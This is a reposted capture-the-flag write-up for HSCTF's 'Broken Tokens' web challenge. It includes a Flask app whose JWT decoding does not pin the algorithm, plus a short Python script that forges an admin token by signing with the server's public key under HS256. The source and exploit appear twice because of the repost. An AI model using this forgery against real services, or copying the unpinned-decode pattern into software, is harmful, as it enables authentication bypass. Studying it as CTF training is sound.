HSCTF Broken Tokens Write up
HSCTF Broken Tokens Write up
HSCTF was held on June 1 ~ 6 that was the middle of the week so that I couldn't solve many challenges. this CTF was very kind and educational to beginners like me!
recon
In the beginning, The given web page was like this.
It's a simple web page with login form and link to publickey.pem
Additionally, we were provided source code written in python.
import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "POST":
resp = make_response(redirect("/"))
if request.form["action"] == "Login":
if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
else:
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
resp.set_cookie("auth", auth)
else:
resp.delete_cookie("auth")
return resp
else:
auth = request.cookies.get("auth")
if auth is None:
logged_in = False
admin = False
else:
logged_in = True
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
resp = make_response(
render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
)
return resp
@app.route("/publickey.pem")
def public_key():
with open("./publickey.pem", "r") as f:
resp = make_response(f.read())
resp.mimetype = 'text/plain'
return resp
if __name__ == "__main__":
app.run()
According to this, we had to log in as admin that was authorized by JWT stored in cookie.
In the next, I logged in as a guest for testing the set cookie.
Got the cookie, I decoded the jwt to JSON as below.
As written in source code. it uses RS256 for authorization.
After some googling, I found this interesting article
If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
looking at source code, it specifies algorism when encoding but it doesn't when decoding! that's vulnerability.
exploit
I wrote a simple exploit code.
import jwt
with open("publickey.pem", "r") as f:
public = f.read()
print(public)
print(jwt.encode({'auth':'admin'}, key=public, algorithm='HS256'))
In this time, jwt uses HS256 for authorization instead of RS256 which means the server interprets as HS256 resulting in the corresponding key!
I set the jwt in cookie and reloaded ... got flag!
Thank you for reading my writeup in my poor English!
Reference
이 문제에 관하여(HSCTF Broken Tokens Write up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/takdcloose/items/d25fff32c98b48b3c648
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
import jwt
import base64
import os
import hashlib
from flask import Flask, render_template, make_response, request, redirect
app = Flask(__name__)
FLAG = os.getenv("FLAG")
PASSWORD = os.getenv("PASSWORD")
with open("privatekey.pem", "r") as f:
PRIVATE_KEY = f.read()
with open("publickey.pem", "r") as f:
PUBLIC_KEY = f.read()
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == "POST":
resp = make_response(redirect("/"))
if request.form["action"] == "Login":
if request.form["username"] == "admin" and request.form["password"] == PASSWORD:
auth = jwt.encode({"auth": "admin"}, PRIVATE_KEY, algorithm="RS256")
else:
auth = jwt.encode({"auth": "guest"}, PRIVATE_KEY, algorithm="RS256")
resp.set_cookie("auth", auth)
else:
resp.delete_cookie("auth")
return resp
else:
auth = request.cookies.get("auth")
if auth is None:
logged_in = False
admin = False
else:
logged_in = True
admin = jwt.decode(auth, PUBLIC_KEY)["auth"] == "admin"
resp = make_response(
render_template("index.html", logged_in=logged_in, admin=admin, flag=FLAG)
)
return resp
@app.route("/publickey.pem")
def public_key():
with open("./publickey.pem", "r") as f:
resp = make_response(f.read())
resp.mimetype = 'text/plain'
return resp
if __name__ == "__main__":
app.run()
import jwt
with open("publickey.pem", "r") as f:
public = f.read()
print(public)
print(jwt.encode({'auth':'admin'}, key=public, algorithm='HS256'))
Reference
이 문제에 관하여(HSCTF Broken Tokens Write up), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/takdcloose/items/d25fff32c98b48b3c648텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)